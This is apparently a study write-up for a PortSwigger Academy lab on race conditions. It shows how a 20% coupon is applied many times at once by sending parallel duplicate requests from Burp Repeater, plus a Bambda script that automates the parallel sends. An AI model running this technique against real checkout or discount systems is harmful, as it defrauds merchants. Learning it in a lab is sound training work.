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# Race Conditions that Bypass Limits
Race Conditions that Bypass Limits notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Limit Overrun Race Conditions
The purchase stream contains a **race condition** that allows you to obtain a **unexpected price** at the time of payment.
#### Objective
Buy successfully the **Lightweight L33t Leather Jacket**.
#### Data / Prerequisites
* Credentials: `wiener:peter`
* Discount code (20%): `PROMO20`
* Credit available: **$50**
* Cost of jacket: **$1300**
### Behavior observation
1. Add the jacket to the basket.
2. Apply the `PROMO20` coupon.
3. If you try to apply the coupon for a second time, the application answers: **Coupon already applied**.
The coupon application query looks like this (form URL-encoded):
```bash
csrf=7QYFGBaACc8P5YOfUHR4S85oo95uA0Vb&coupon=PROMO20
```
### Manual Exploitation (Burp Repeater)
1. Send the application request to **Repeater**.
2. Create a **group** in Repeater.
* Duplicate the request tab /\~20 times (**Duplicate tab**).
Send requests **in parallel**.
The result is that most requests are **validated**, and the total becomes **/\~37**, which allows you to purchase despite the original price ($1300) and the limited credit.
### Automated Exploitation (Burp Suite Pro Custom Action)
The lab recommends using **Trigger race conditions** (Burp Suite Professional) via a **Custom action**.
#### 1) Add Script (Bambda Library)
Go to **Extensions → Bambda library** and add:
* **id**: `eb57d5bd-33e2-4a8c-bf51-bc81bd26613a`
* **name**: `Probe for race condition`
* **function**: `CUSTOM_ACTION`
* **location**: `REPEATER`
```javascript
id: eb57d5bd-33e2-4a8c-bf51-bc81bd26613a
name: Probe for race condition
function: CUSTOM_ACTION
location: REPEATER
source: |+
/**
* Repeats the request 10 times to trigger race conditions or request smuggling, using the single-packet attack for HTTP/2, and last-byte synchronisation for HTTP/1
*
* @author James Kettle
**/
int NUMBER_OF_REQUESTS = 10;
var reqs = new ArrayList();
for (int i = 0; i < NUMBER_OF_REQUESTS; i++) {
reqs.add(requestResponse.request());
}
var responses = api().http().sendRequests(reqs);
var codes = responses.stream().map(HttpRequestResponse::response).map(HttpResponse::statusCode).toList();
logging().logToOutput(codes);
```
#### 2) Launch from Repeater
1. In Repeater: **Custom action** → add from samples.
* Load custom action created.
Test with **30 requests**.
we see **status codes** (for 30 shipments) and we can trigger the race condition more easily
---
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